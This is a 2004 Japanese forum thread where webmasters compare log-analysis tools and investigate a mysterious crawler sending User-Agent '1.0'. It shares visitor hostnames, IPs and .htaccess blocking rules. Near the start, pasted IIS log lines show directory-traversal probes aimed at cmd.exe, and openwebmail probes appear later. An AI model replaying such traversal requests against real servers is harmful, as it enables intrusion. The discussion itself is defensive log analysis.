アクセスログ解析

User-Agent が「1.0」でのアクセスが増加傾向にあるんだけど何だろうか？
大部分が「GET / HTTP/1.0」なので更新時刻を取得するツールなのかな。

そいやリアルタイムで誰が何を見ているのか分かる
スクリプトン入れてる自鯖があったな

行動まで監視されるサイト・・・ｶﾞｸﾌﾞﾙ

そりゃちゃうやろ。管理人以外も
自由に見れたから>>191はカキコ
したんだろ？ちゃうんか？

スレ違い。

お前らサーバー監視ツール何使ってる？
http://pc5.2ch.net/test/read.cgi/mysv/1074624631/

>>194
アナタ勘違いしてるあるよ

2004-08-17 06:24:27 GET /galaxy_25764.30313 - - 67.15.12.55 - - - 404 0 64
2004-08-17 06:24:34 HEAD /_mem_bin/..ﾀ/..ﾀ/..ﾀ/..ﾀ/winnt/system32/cmd.exe /c+dir - 67.15.12.55 - - - 404 0 64
2004-08-17 06:24:55 HEAD /_mem_bin/check.bat/..ﾀ/..ﾀ/..ﾀ/winnt/system32/cmd.exe /c+dir - 67.15.12.55 - - - 404 0 64
2004-08-17 06:24:56 HEAD /_vti_bin/..ﾀ/..ﾀ/..ﾀ/..ﾀ/winnt/system32/cmd.exe /c+dir - 67.15.12.55 - - - 404 0 64
これってなんですか？

>>196
有名なセキュホ狙いです。

>>196
今頃乗っ取られているかもしれんぞ。調べてみろ。

2004/09/02,20:57:52,221.113.11.213,"p011213.ppp.asahi-net.or.jp","-","-",GET,"/~hoge/","","1.0",200,818,"-","","1.0"
2004/09/03,04:21:05,210.239.249.211,"ZZ249211.ppp.dion.ne.jp","-","-",GET,"/~hoge/","","1.0",200,784,"-","","1.0"
2004/09/03,11:02:00,219.36.16.27,"YahooBB219036016027.bbtec.net","-","-",GET,"/~hoge/","","1.0",200,134411,"-","","1.0"
2004/09/03,12:52:15,222.3.72.227,"ZH072227.ppp.dion.ne.jp","-","-",GET,"/~hoge/","","1.0",200,15592,"-","","1.0"
2004/09/03,13:39:25,219.124.209.217,"kctv61217.ccnw.ne.jp","-","-",GET,"/~hoge/","","1.0",200,826,"-","","1.0"
2004/09/03,14:34:22,222.3.72.227,"ZH072227.ppp.dion.ne.jp","-","-",GET,"/~hoge/","","1.0",200,21733,"-","","1.0"
2004/09/03,15:46:43,218.126.168.129,"YahooBB218126168129.bbtec.net","-","-",GET,"/~hoge/","","1.0",403,223,"-","","1.0"
UAが"1.0"だけで、各ディレクトリにアクセスする香具師が居るんだけど、これはrobot？

暇な馬鹿。

>>190,199
ブックマークのリンク切れをチェックするソフトかも

190と一緒か・・・
9/3以降何回も違うディレクトリに来てる

まともな目的だったら一旦弾いてみれば説明メールが来るかも

AWStatsがどのサイトを見てもどうやってもうまく解析表示出来ないので
違うのを探しています。何かLinux用でおすすめはありますか？
（analogとwebalizer以外で）

>>204
アクセスログからナニを見たいのだ？

>>205
サーバへのアクセスです。

webalizerは試しに入れているのですが、RPMで入れたからか
日本語表示されないし、見づらいんですよね。。

>>206
そんなのおまいがわるいだけじゃん。。
自分の技術のなさをツールのせいにするのはよくないと思います。

>>206
本家のrpmかい？
君のディストリのサイトでwebalizerのrpm入れればいいじゃん。
これなら日本語表示だぞ。
VineのWebalizerのrpmは日本語だったし。

>>190
>>199
たしかに増えてるな。
UA ^1.0　で別ログにとってみる。

>>207-208
技術が無くてすみません、、レスも遅れてしまって。。

うちのサーバはRedhat9なのですが、webalizerは
apt-getからinstallしたrpmを入れました。
これだと日本語表示されません。。

改めて入れ直しても大丈夫でしょうか？
（上書きされるのでしょうか？）

うちにも UA 1.0 っていうのが来ます。
しかも 199 に出てる IP のうち２つはうちにも来てる。
なんだろう。

これとか？
http://www.st.ryukoku.ac.jp/%7Ekjm/security/memo/2004/09.html#20040917_RD-XS40
http://nlogn.ath.cx/archives/000288.html

WebTrends使ってる人いないですか。。会社とかで。
試供版試してるんですけど。。設定がうまいこといかないのです。

うまくいかない、とだけ言われてもね。
回答する側の事も考えてみるといいよ。

firefoxの仕様？
favicon何回も取りに来てウザイ。
バグなら早く直せ。

IEだってfavicon探しまくりだze!

>>182
awstats なら wu-ftpd の xfer-log 形式解析できるよ

php-statsはどうよ？
MySQL使うけど。

>>218
デザインがダサいから機雷

俺の日記帳

ApacheLogViewer
analog
WebAlizer
AWStats
WebLOG
NetIntellect
WebTrend
php-stats

UAが"1.0"ってうちにも来るんだけど、もっと情報ないかな。うざいし、正体不明で不安。
.bbtec.net - - [27/Oct/2004:21:10:30 +0900]
.catvy.ne.jp - - [27/Oct/2004:21:09:24 +0900]
.ocn.ne.jp - - [27/Oct/2004:21:09:17 +0900]

2004-10-31 23:43:16 GET /cgi-bin/openwebmail/openwebmail.pl - - 217.67.238.248 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1) - - 404 0 64
2004-10-31 23:43:16 GET /cgi-bin/openwebmail/openwebmail.pl - - 217.67.238.248 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1) - - 404 0 64
これって何ですか？

>>222
ttp://iandu.s7.xrea.com/unimama/logwatch.html

>>223
ありがとうございました。

誰かAWstatsの日本語キーワードの文字化け対応プラグインでつくってくんねーかなー。
access_logをutfに書き出すやり方だとCGIからデータ更新できないんだもん。
神降臨、お待ち申し上げます次第です。

おまえが神になれ

謎の1.0、1月頃から現れているようで、じゃんじゃん来てます。
たぶん、更新チェッカの類だと思うけど、確かに気になるなぁ。

ログをざっとみた範囲で、"1.0"の行動パターン
発信元は日本のISP　（会社内、大学・政府系、外国からはなさそう）
アクセスは特定のファイルに集中する　（人気のあるファイルとは限らない）
ひどいときは全アクセスの10%近くになり、非常にウザイ

謎の1.0、403出しているのに全然減らない。なんだ、これは。情報ほしい。

>>229
自分で調べろ！

8月から何人も謎だといっているんだが、どうやって調べろと？

dns hikutoka...

>>232
>>199にあるようなIPのDNSを引いて、どうしろと。
ほかにもあるぞ、
yahoobb220023152003.bbtec.net
yahoobb219012180028.bbtec.net
dsl10923.fip.synapse.ne.jp
catv-224-122-186.tees.ne.jp
asf-cable.c-able.ne.jp
p5091-ipad04otsu.shiga.ocn.ne.jp
DNS引くと何がわかるというんだ

基本的に日本からばかりか…

>>233
海外からのアクセスを制限とかしてないですよね？

日本製の巡回ツールってこと？

>>234
海外からのアクセス制限はしていない。

日本からばかりという情報は>>228で既出。だから追加情報を求めている。

このアク解なんて1.0だらけでかわいそ
http://www18.big.or.jp/~fujiwara/ikki/admin/ashiato/analyze.cgi?Index

>>227
有名なのはWindowsだとWWWCかな？

で、本当に更新チェッカだとすると
ページを更新した後なら同じホストから
1.0の後に別のUAでアクセスしてくるんじゃないか？

うちにも"1.0"来てます．
"1.0"だとググりようもなく，情報に飢えています．
>>238
別のUAではアクセスしてきてないです．
結構いろんなIPからアクセスがありますが，
どのアクセスもリクエストが同じなんですよね．
共通する複数のディレクトリだけにアクセスがあります．
更新チェックの対象になりそうなページではないです．（扉ページだったり）
どうもディレクトリ自体がターゲットのような気がして気持ち悪いです．

最近，HTTP_HOSTを調べるようにしてるんですが，"1.0"からのアクセスでは
末尾に":80"が付加されていることがわかりました．
これは全信協（スパマー）とかのメールアドレス収集ロボットと共通する特徴です．
WWWCの場合どうだかわかりませんが（最近"WWWC/1.04"からのアクセスがないので）
Hatena AntennaとかGoogle等検索サービスのロボット，通常のアクセスの場合は
HTTP_HOSTの末尾には":80"は付きません．

うちに来るのは偶然なのか、検索エンジンで拾える.htmlファイルばかり。
最近かなり増えてきた。結構ウザいね。

うちはニダにワームとトロイとスキャン厨しかこないな。
なんでだろ。

9/17以降の1.0
14,533hits
全てhost引ける(ランダムIPではない)
一つのhtmlにだけ27hits(他のhtmlには来てない)

正体不明だけど、そんなに頻繁に来るわけでもないので放置の方向

目アド収集か。試しに"1.0"にトラップ食わせてみるか。

アクセスが特定のファイルに集中していて、洗いざらいもっていくタイプではない。
別々のディレクトリに分散しているファイルを狙っていて、リンクをたどって巡回して
いるようには見えない。
　　⇒メアド収集っぽくない。
403を出すようにして一ヶ月になるのにアクセスが一向に減らない。サイトの注意書き
のような、頻繁に書き換えず、あまり読まれないファイルも標的に含まれている。
　　⇒更新チェッカっぽくない。
>>239の情報にあるように、アクセス元が分散している割には、アクセス先が共通
　　⇒謎

つまり、結論は>謎<ということだ。

俺がISPに放置してるページのindex.htmlのアクセスログがたまってたんで、
調べてみた。自鯖じゃないんで、細かいところまでは取ってない。
・初回: 2004/04/08
・11/20までの総数: 816
・最多アクセスドメイン: bbtec(349)
・次点アクセスドメイン: ocn(66)
・逆引き不能IPからのアクセス: 46(述べ数)
ほぼ日本からしか来てない、同日・翌日中に同IPで普通のUAからのアクセス
はない、てのは既出の通り。逆引き不能IPからも、10月以降も時々来ている。
でも、数は少ない。bbtecの一人勝ち。

このページ、アクセス数が落ち切ったところで消そうと思ってたんだが、ここ
んとこ件数だけ見てたから…1.0の奴め幻惑しやがって許さん(ry

1.0しかアクセスしてなかったら、それはそれで神（藁

>1.0の奴め幻惑しやがって許さん(ry
そう、こいつの最大の被害はファイルごとのアクセス数（人気）の見積りが
完全にくるってしまうこと。

>>228の「会社内、大学・政府系からはなさそう」ってのはほかでもそうかな。
Mozilla/3.01を名乗るキャッシュの自動更新は会社や大学からが多いんだが、
それとはパターンが違うよね。

>>248
↓うちに来たやつのうち、YahooBB以外（YahooBBは多すぎるので割愛）
pl1100.nas921.kagoshima.nttpc.ne.jp
zn034107.ppp.dion.ne.jp
n043079.ppp.dion.ne.jp
c4s-nat.cty-net.ne.jp
210-194-124-53.rev.home.ne.jp
eatcf-43p18.ppp15.odn.ne.jp
p8035-ipad44hodogaya.kanagawa.ocn.ne.jp
catv120-109.lan-do.ne.jp
p6093-ipad02otsu.shiga.ocn.ne.jp
kvu067.kvision.ne.jp
61-21-182-95.rev.home.ne.jp
p14204-adsau12honb1-acca.tokyo.ocn.ne.jp

今朝、"1.0"から妙なアクセスがありました。
うちのサーバのホスト名はwww.zerma.comなんかじゃないのですが
HTTP_HOST が "www.zerma.com:80"
リクエストが "/japanese/03gs/gsover1.htm"
たしかに、http://www.zerma.com/japanese/03gs/gsover1.htm
ていうのは存在してるらしいけど、なぜうちにこんなアクセスが。

これはデータベース（？）の扱いにおけるバグでしょうか。
やはりなんらかのデータベースを元にウェブを巡回して
何かのデータを収集してるような感じでは？

>>243
僕もトラップしかけてみます。何かあったら報告します。

うちには plala.or.jp からも来てる。結局、やっぱり、日本のISPか。

OCNなんかは県名がわかるけど、地域分布はどうかな。
いままで出たのが、滋賀、鹿児島、神奈川、東京。
うちのほうで補うと、和歌山、広島、埼玉、大阪、福岡、長崎、静岡、石川
わからん。

昨日は100件弱。
まだまだ余裕だけど、もし1000件超えたら・・・弾くしかないなぁ。

リクエストが、ひとつのファイルだけだったり全部だったりで
傾向がつかめない。
日本国内のISPってのは、間違いないね。
確かにyahooは多い。比率より多いんじゃないかな。

ログを取るスパイウェアがあったと思うけど、マシン起動時や定期的に
ザラっと舐めてるのかな、とふと思った。
あとは各種ツールバーとかメッセンジャー系くらいしか思いつかない。
いずれにせよ目的は不明だけど。

いろいろググり方を工夫してみたが、なかなかいい情報には行き当たらないな。
「"User-Agent" "1.0" bbtec ocn」とかでググるとアク解のページがヒットする。

>>237のhttp://www18.big.or.jp/~fujiwara/ikki/admin/ashiato/analyze.cgi?Index
って、直前の1000件のうち764件が"1.0"なんだな。かわいそうに。

うちは、だいたい1日平均 8000hot (600PV) のサーバだけど、
今月の "1.0" のアクセスは16件だけだった。IPアドレスのユニーク数は4。
要所を抜き出すとこんな感じ。
1つのホストが短時間に決まったURLへアクセスしてる。謎。

ntfksm012251.fksm.nt.adsl.ppp.infoweb.ne.jp
　02/Nov/2004:16:17:10 /aaa/cgi-bin/ 403
　02/Nov/2004:16:17:10 /aaa/cgi-bin/bbb/ 403
　02/Nov/2004:16:17:10 /aaa/ 200
　02/Nov/2004:16:17:10 / 200
194tt178.ncv.ne.jp
　02/Nov/2004:19:51:35 /aaa/cgi-bin/ 403
　02/Nov/2004:19:51:35 /aaa/cgi-bin/bbb/ 403
　02/Nov/2004:19:51:35 /aaa/ 200
　02/Nov/2004:19:51:36 / 200
yahoobb221091033040.bbtec.net
　03/Nov/2004:12:20:29 /aaa/cgi-bin/bbb/ 403
　03/Nov/2004:12:20:29 /aaa/cgi-bin/ 403
　03/Nov/2004:12:20:30 / 200
　03/Nov/2004:12:20:30 /aaa/ 200
p4139-ipad05wakayama.wakayama.ocn.ne.jp
　03/Nov/2004:16:48:24 /aaa/cgi-bin/bbb/ 403
　03/Nov/2004:16:48:24 /aaa/cgi-bin/ 403
　03/Nov/2004:16:48:24 / 200
　03/Nov/2004:16:48:25 /aaa/ 200

いろいろ見て回ったら書き込むまでもないｶﾞｲｼｭﾂの現象ようだったい

そうか、これはDDoS攻撃に向けた壮大な実験なのでは？

>>254
これみて気になったんで自分とこのログをよく見たら
アクセスの仕方にパターンがあるな。

~/aaa/bbb/ccc/ddd.html
~/aaa/bbb/ccc
~/aaa/bbb
~/aaa
~/

リンクを辿るんじゃなくて、最初にアクセスしたディレクトリを基点に
機械的に上のディレクトリを辿っていってトップに行き着くまで
移動していくみたいだな。
アクセス数が見かけ上膨らんだりページの更新頻度と関係なく
アクセスがあるのはこのせいか。

おまいらのところはどうよ？

>>257
うちは二種類しかないんだけど
/aaa/
/
ですなあ

1.0、うちも少数ながら来ているので情報おば。

・アクセスはふつうのアクセスプロバイダからくる。
・gzipには対応していないらしい。
・リンク元は100%吐いてない。
・技術系サイトなんだが、持ってかれるページは初心者向けの
　ページが多い。
・画像やCSSは読まない模様。

うちは複数のファイルが狙われているので気づかなかったが、確かに一回ごとの
パターンとしては
/aaa/bbb.html
/aaa/
/
が多い。ただ、例外もあるし、必ずしもこの順番でなく、
/aaa/
/
/aaa/bbb.html
のような順番でアクセスしてくることもある。

で、何の目的でロボットはこういうたどり方をするんだろう。

検索関係のツールバー？

>>254にもあったが
>アクセス元が分散している割には、アクセス先が共通
>　　⇒謎

アクセス先を決めているのがそれぞれのアクセス元ではないという可能性はある？

http://headlines.yahoo.co.jp/hl?a=20041126-00000003-zdn_ep-sci
これとか？　話がよくわからないけれど

それにしても目的がわからない。こいつらには何の益があるのだろう。
spamgourmet で作った餌には今のところ食いつかず。

新しく作ったファイルなんかには全然リクエスト来ないし
やっぱり検索エンジンから（何かが）探してきてる気がするんだよなぁ・・・
もしかしてみんなに共通する特定のワードとかあったりして？(笑)
それにしても目的は謎だけど。

同じアクセス元とは限らないけど、なんかヒントになるかな。

"yahoobb221091033040.bbtec.net" の検索結果 約 153 件
"yahoobb220023152003.bbtec.net" の検索結果 約 207 件
"yahoobb219012180028.bbtec.net" の検索結果 約 10 件
"p5091-ipad04otsu.shiga.ocn.ne.jp" の検索結果 約 4 件
"61-21-182-95.rev.home.ne.jp" の検索結果 約 12 件
"kvu067.kvision.ne.jp" の検索結果 約 11 件
"zn034107.ppp.dion.ne.jp" の検索結果 3 件
"n043079.ppp.dion.ne.jp" の検索結果 約 2 件
"210-194-124-53.rev.home.ne.jp" の検索結果 約 82 件
"eatcf-43p18.ppp15.odn.ne.jp" の検索結果 6 件
"catv120-109.lan-do.ne.jp" の検索結果 約 14 件

yahooの利用者って馬鹿ばっか

「"yahoobb221091033040.bbtec.net" "yahoobb220023152003.bbtec.net"」の検索結果約68件
はほぼ確実に"1.0"のターゲットと考えていいだろう。
http://www.google.co.jp/search?sourceid=navclient&hl=ja&ie=UTF-8&q=%22yahoobb221091033040%2Ebbtec%2Enet%22+%22yahoobb220023152003%2Ebbtec%2Enet%22&num=100

ターゲットに日本国内のサーバが多いのは予想できるが、外国もあるな。
http://physics.wku.edu/cgi-bin/awstats/awstats.pl?lang=en&output=unknownrefererbrowser
Western Kentcky Universityなんて初耳だが、日本語のコンテンツがあるようには思えない。

関連有りそうな、なさそうな
http://www.itmedia.co.jp/enterprise/articles/0411/27/news003.html

http://www.artn.co.jp/support/counter/acs_stat7.html
ここってネットワーク屋さんらしいけど、ほとんどのアクセスが1.0だ。それに
Naverbotやmsnbotやinktomisearchやteomaを引くと、まともなブラウザからの
アクセスがなくなってしまう。

ううむ　何の陰謀なんだろう。
ここまでか。ここまでしかわからないのか。

"1.0"に気づいた人の日記、発見。
http://www.nminoru.jp/~nminoru/diary/2004/09.html#2004-09-10

不審に思って質問した人を発見。
http://www.gac.jp/article/index.php?stats=question&category=2&id=13270&command=msg

一番下のとこ
http://www.hyuki.com/yukiwiki/wiki.cgi?UserAgent

なんか面白そうだから、俺のUserAgent、1.0にしてみた。

Web製作板6hotスレ
http://pc5.2ch.net/test/read.cgi/hp/1098189672/447-453
>447 ：Name_Not_Found ：04/11/16 15:22:48 ID:???
>最近、user-agentが「1.0 」とだけで、いろんなホストの人が来るんだけど
>どういうブラウザ使っているのだろう

うちはsquid通してるから常にHTTP/1.0だわ。

ここの日記にも
http://sabimaru.no-ip.com/diary/200411.html#1101

これの933-958
http://faq.sakura.ne.jp/2chlog/1098358628.html

http://faq.sakura.ne.jp/wiki/wiki.cgi?.htaccess#i12
>最近流行している「1.0」のみのUser-Agentを規制する場合は "^1\.0$" な。"

俺のサイト（ロダ設置）にはあんまり縁がなさそうだね。
Hotzonuが 593 に対して、1.0は 9 ですた（リクエスト数）

ちなみに、livedoorCheckersとかいうのも 9 ですた。

アクセスされる側の情報からわかることは、これくらいが限界かな。あとは推理だな。

このツールはどういうふうに拡散するんだろうか。YahooBBが多いが、OCNやほかの
ISP加入者もかなりいて、全国に散らばっているということは、何を意味するんだろうか。
広く配布されているツールだったり、トロイやワーム的に拡散するものだったりしたら、
ac.jpやco.jpからのアクセスもあってよさそうなのに。

210.156.21.18ってIPからきた。鳥取の中海テレビというCATVか。なんで、
日本国内のISPという限定のなかでこんなに拡散しているんだ。

>>280
確かに ac.jp や co.jp は見かけないな。
プロバイダ固有のツールなのかな。

プロバイダのスターターキットに付いてるツールという可能性も。

【謎のUA 1.0　今までのまとめ】
・User-Agentが　1.0
・リファラーは吐かない
・国内ISP経由からのリクセストばかり。その中でもYahooBBはかなり多い
・企業、大学からはほぼゼロ
・地域的な偏差はみられない
・日本中に蔓延している

あと HTTP_HOST が "サーバ名:80" ね

Yahoo! BBカスタマーサポートセンターにメールで訊いてみた
調べてみるけど時間はかかるとのこと

極めてまれだが、btcentralplus.comからのアクセスがある。
http://www18.big.or.jp/~fujiwara/ikki/admin/ashiato/analyze.cgi
で「個別 1000 」にして表示更新。

外国から?と思ったら、結構日本人のユーザがいるとこなんだ。
http://www.google.co.jp/search?hl=ja&q=%22btcentralplus.com%22&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja&num=100

9月28日のところ
http://01code.chu.jp/yuki_shiro/d_log200409.html

1.0で誘導されてきました。あの、質問なんですが、1.0が最初に確認されたのは
何月何日からなんでしょうか。アクセス数が多いのでWindowsのツールだと思うので
ソフト紹介のサイトを漁ってみようと思うのですが

>>288
このスレで確認できる最古は>>227の一月。
目立つようになったのは夏くらい。

何かわかったら報告よろしく。

スラッシュドットに密告して情報を募るというのはどうでしょうか

>>278
そのスレの957です。
それを書き込んだ後に間違いに気づいたんで一応報告。

そこで書いてる『移転前のサイトの鯖』では生ログ貰えなかったし、
解析もindex.htmlにしか置いてなかったから
（まあ『1.0』が来た当時は他にページは無かったわけだが）
本当に「index.htmlにしかアクセスされたことが無い」のかどうかは不明。

favicon.icoへのアクセスが増えてんだけど、やっぱりFirefox？

>292
そう考えるのが自然だろうな。

お気に入りに登録するときは普通は何秒かの時間が入る。
Firefoxは1秒以内にfavicon.icoをGETしに来る。
しかも何発も。

めんどくせえから火狐使ってる厨は全部弾こうぜ

この仕様は変更して欲しい
なんでアクセス毎にお気に入りアイコンをとってくのかまたくわからん

>296
タブにアイコンを表示するためだろ。
ただあまりにも多いのならキャッシュ関連のバグだろうね。

>>296
同じく仕様を変更して欲しい。
IEでお気に入りに登録するときに有無を言わさずfaviconにアクセスする仕様も
どうかと思ってたが、まさかFirefoxがこんな仕様になるとは思わなかった。
（とは言え、自分のFirefox 1.0ではこんなことは無いのだが）

リンク切れ把握のためにエラーログを確認してるんだが（faviconは置いてない）、
Firefox 1.0ユーザが来るとfaviconへのアクセスがやたらと増えてうざすぎ。

*ico へのアクセスでログ取らないようにすればいいよん

1.0を弾くようにしたら Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) を名乗ってきてませんか？
img や ｃｓｓ へのアクセスは無く アクセスの仕方が 1.0 と、そっくりなんですが…

あとSSIの解析には残らない WebRescuer v0.2.4 ってのも1日に50アクセス位あった なんでしょこれ？

前者はわかんね
後者はぐぐれば簡単に特定出来るだろ

Mozilla系のブラウザって<link rel=icon とか書いてあるとアクセスするたびに
アイコンも取りに行くよね？

>>300
n a b a r ?

>>300
それはないなあ。

古いログを見直したてみた。あまり多くないからそのときは気がつかなかったんだが、1.0は
去年から来ていた。一ヶ月に数十アクセスくらい。日本のISPからとかいった
パターンは同じだ。

211.9.44.97 - - [11/Sep/2003:19:04:49 +0900] "GET /~hoge/ HTTP/1.0" 200 429 "-" "1.0"
私のところでは、去年の9月が最初でした
10月以降ではディレクトリを階層的にアクセスするパターンが見られます
気づくのに1年かかったわけか。。

>>300
Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) の似たようなアクセスは
スパム業者のアクセスです。全信協でググってみてください

'1.0'、うちの2002年3月以降のログを調べたら、
2002年に4件(3月に1件、6月2件、11月1件)、2003年11月に1件来ていた。
急増したのは今年の9月以降。
2004年は1月=3件、以降 2=0、3=5、4=9、5=19、6=23、7=16、8=6、9=258、10=293、11=274。
正体さえ分かればねぇ…。

一ヶ月に数件とか数十件とかなら、別に害はないし、気にとめなかったのもしかたない。

ここにも .htaccess で弾いている人が。
http://dullahan.m78.com/blog_data/archives/2004/0411102111.html

携帯からのアクセス増えたなぁ

PV

気づく人が増えてきたようだ。

http://nie-ya.daa.jp/index.php?eid=27

同じく
http://chronoflyer.ddo.jp/~trinary/u_sennju/d_041118

ここを見てブログのネタにしｙぴじうｙんｐｈｐｊじｊ＠あ

>>311
スパマーと決め付けてるけどね。どうなんだろうか

>>312
そういう奴もいるだろうな。

>>313
すまん　それは俺が書いた。
それ書いてからここに来た。
スパマーの特徴と共通してるからまとめて拒否してる。
今のところの見解は、皆さんと同じで謎。

>>315
『HTTP_HOST が ":80" で終わるもの』
の弾き方教えてくださいm(＿)m

>>263に書いたように単なるスパマーではないかなと思ってます。
一応、それ関連のログは
http://chronoflyer.ddo.jp/open/spam_log
にリアルタイムで公開してるのでどうぞ。
見てもわからんけど。
で、>>285に書いたようにyahoobbに問い合わせてみてるけど
返事はまだ来ません。

>>316
http://chronoflyer.ddo.jp/doc/robot.shtml#4-3
にまとめてあるので参考にしてください。
ただし、ログには403（Forbidden）として残ってしまいますが。

>>316
個別にログを取るのも
# spam
SetEnvIf Host ":80$" spam
CustomLog /var/log/apache2/spam_log combined env=spam

とかするとよいでしょう。
僕はちょっと違ったログの取り方をしてますけど。

Yahoo!BBやOCNが多く、.ac.jpや.co.jpがない、というところはスパム屋っぽい。

ただ、よくわからないが、スパム屋っていうのは、すぐ移転できるようなところを
使うもんだと思ってた。kvision.ne.jp(山口県下松市)とかchukai.ne.jp(鳥取県米子市)とか、
ローカルなCATVから発信するのかな。正直、わからないので教えてほしい。

リンクできなかった。
http://nie-ya.daa.jp/index.php?day=20041128 の
Yahooの、のところ。

>>318
乙。
参考にさせてもらいます。

>>315
早速、設定してみます。
解析のブラウザ統計がWIN98だらけになって困ってました。
有難うございます。

わりと早く気づいていた人もいたわけだ。

http://www.fenix.ne.jp/~G-HAL/whatsnew/20041st.html
Sat,07 Feb,2004

http://www2.starcat.ne.jp/~yaoshi/diary/?200404
2004年04月15日(木)

どうでもいいけど直リンはやめとこうぜ。

別にいいんじゃないの？http_reffer はここじゃないし。リンクやめろってこと？

h 抜きなんて前時代の人のすることですよ(´∀`)

でも初めてリンク書いたときは意味もなく緊張した

>>326みたいな馬鹿がいるからページ潰したりする奴が出て来るんだよな
折角の有用な情報が消される事も少なくない

ソース無いと意味ないのでは？
それにここの人そんなに多くない

2ch自体かなり人減ったしね

>>326みたいな馬鹿がいるからページ潰したりする奴が出て来るんだよな

「風が吹くと桶屋がつぶれる」ですか

世の中には2ch嫌いな人がいる訳で。
ﾘﾌｧﾗが2ch絡みだったりするとｺﾝﾃﾝﾂ消したりとかよくある。
だから直リンは辞めろって昔から言われてるんだっつーの・・
新参者で何も判ってないなら前からある暗黙の了解に従っとけよボケ

でも今のところ1.0関連で有用なページは無いな。

>>334
それがテーマなわけだ。笑

「1.0」って、これ違いますかね？

MAILMAN
ttp://www.mailpro.zc.bz/

>>336
お試し版入れて試してみた。
結果は……

"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

HTTP_HOST の末尾にも":80"は付かないようだ。
でも、これも嫌なソフトだな。かなりえげつないアクセスしてたよ。

糞業者用に作られたﾒｱﾄﾞ巡回ｿﾌﾄなんてそんなもんだ

一瞬思いついたけど、全然関係の無いドメイン・・というより、
asdfghjkl.comのように適当なアドレスを大量に罠ページに仕掛けておいて
巡回ｿﾌﾄのﾒｰﾙ送信時にｵｰﾊﾞｰﾌﾛｰってさせられないのかな

robots.txtは見てないね･･･＞1.0
ﾜｹﾜｶﾗﾝ

>338
どうせウィルスなどの不正アクセスはアドレス直打ちでくるから、
Virtual domainで罠しかけとくってのはありだな。
恐ろしく遅いペースでパケット返すとか、巨大データを食わせて
やるとか。

USER_AGENTが「1.0」のみ、ってなんだろね。
ここで話題になっていて嬉しかった。
春からずっと謎だったので。。。。。

うちも１日５０件はアクセスあるよ。。。。

あいかわらずググってもあまり情報ないし。。。。
うーん。

本格的にどこかで情報を募集したほうがいいのかもねー
きちんと情報が得られるような場所で...

>>340
ウィルス関連はPC側で対策しておけば問題ないから
アドレス巡回ソフトに罠仕掛けてみるかな

スレ建てたら結構面白そうだと思うんだけど

どこかの業者か何かが、UserAgentを"1.0"にしてスクリプトを走らせた。
↓
それを見た同業者たちが真似し始めた。
↓
（次第にUserAgent "1.0" が話題になり始める）
↓
話題になっているのを見て、色々な香具師がUserAgentを"1.0"にし始める。
↓
収拾がつかなくなる。
↓
＜現在＞

それでは、揃って同じファイルにアクセスしてくる理由が分からない。

アクセスしないファイルは新しいね。
古いページからリンク張ってもアクセスしてこない。
もう随分経つのに。

Googleとかinfoseekのツールバーはどんな足跡だっけ？

"HTTP agent" って何よ。
昔からいて"1.0"並に気になるんだが

AgentっていうとMI6とかかな？？

うち、自ドメインですが、全然"1.0"はこないよ。
なぜ？

マイナーすぎるからだろ。。。

トレンドに乗り遅れているから(w

11月30日にアク禁処分
http://shuhoudou.zive.net/~yas_/000200.php#more

http://lists.sourceforge.jp/mailman/archives/tep-j-general/2004-November/003148.html

勉強になるのでage

そろそろ誰かUserAgentが「1.0」のみ、の原因がわかった人いない？？？
情報の蔓延している2chで、こんなに長期間わからないなんてことがあるのか…

日本のみからのアクセスで大学や企業のログがない、ってことは
2chブラウザだとかその関係だと思ったんだけど
全然違うみたいだね....
なんだろう........

日に日に増える1.0のアクセス。

色々と細工をしてみた･･･ﾊﾔｸｺｲｺｲ

csv形式のファイルを解析できるフリーソフトありますか？

>>357
grep sort uniq

>>357 MySQL

>>357 OOo

>>357 awk

>>357
NOTEPAD.EXE

>>357 WSH

>>357 エクセルビューア

>>357 Borland C++ Compiler 5.5

>>357
Microsoft EXCEL

>>366
> フリーソフトありますか？

>>367
openoffice

各地でしこんでいるらしい対”1.0”用トラップの調子はどうだい？

OOo=OpenOffice.org

>>357
perl, ruby, gcc...

>>369
http://www.spamgourmet.com/
↑を使ってトラップ張ってるけど，一向にかからないよ
一昨日から自鯖のメアドも一つ餌として置いてみたけど
今のところ反応なし

>>357
eye

>>357 ひまわり

http://www.xappec.com/cgi_bin/kkn/index.cgi?d=20041207
[家鯖] − アドレス収集ロボだったらスッコロヌ −

http://www.lain.ais.ne.jp/~yosiho/DIARY/diary.html
12/13

マイナーサイトなんでまだ1匹しか･･･

ここに来て急に減ってきました。一時は100越えてたのに昨日は45。
別の何かに化けたのかな？
一ヶ月前に張ったリンクには未だ来ません。

ここ見られてたりしてな。

多分見てるだろ。

>>379だったりしてな。

単に面白がって厨がやってただけ〜

httpdのreferer.logを見やすくしてくれるソフトとかありますか？

あぱちぇぉｇヴぃうぇｒ

yahoobb220046016190.bbtec.net と　zs136018.ppp.dion.ne.jpのUAが
ある時間を境に1.0からMozilla/4.0 (compatible; MSIE 6.0; Windows 98)に
変わっていた。単に接続元が変わったのかもしれないが、変わったあとの
アクセスがどうもメアド収集らしい絨緞爆撃にみえる。

>>384
具体的な時間よろ。
このスレのレス番指定でもいいや。

yahoobb220046016190.bbtec.netは12月14日まで1.0、15日からMozilla/4.0
zs136018.ppp.dion.ne.jpは12月7日の12時ごろが境。

12/7頃にうｐだてしたソフトが怪しいと。

>>384
http://216.239.63.104/search?q=cache:VAkOSfsgu8IJ:www.cam.hi-ho.ne.jp/cgi-bin/user/ken6/to.cgi+%22yahoobb220046016190.bbtec.net%22&hl=ja&lr=lang_ja&ie=UTF-8

yahoobb220046016190.bbtec.net は 12/01にもMozilla/4.0 (compatible; MSIE 6.0; Windows 98)のようだね

yahoobb220046016190.bbtec.net は 12/12 に1.0 だ。
http://www.google.co.jp/search?q=cache:yIVOmdeyCLQJ:www.artn.co.jp/support/counter/acs_stat6.html+%22yahoobb220046016190.bbtec.net%22&hl=ja

同じ接続元だと仮定しての話だが、User-Agentを時々変えているのか

Apachelogviewerを使っている人は、Statisticsのほうで、上をHost、下をAgentに
して、Hostを一つずつ下げていくとAgentの窓で 1.0とMozilla/4.0 (compatible; MSIE 6.0; Windows 98)
になるのがないか、みてほしい。
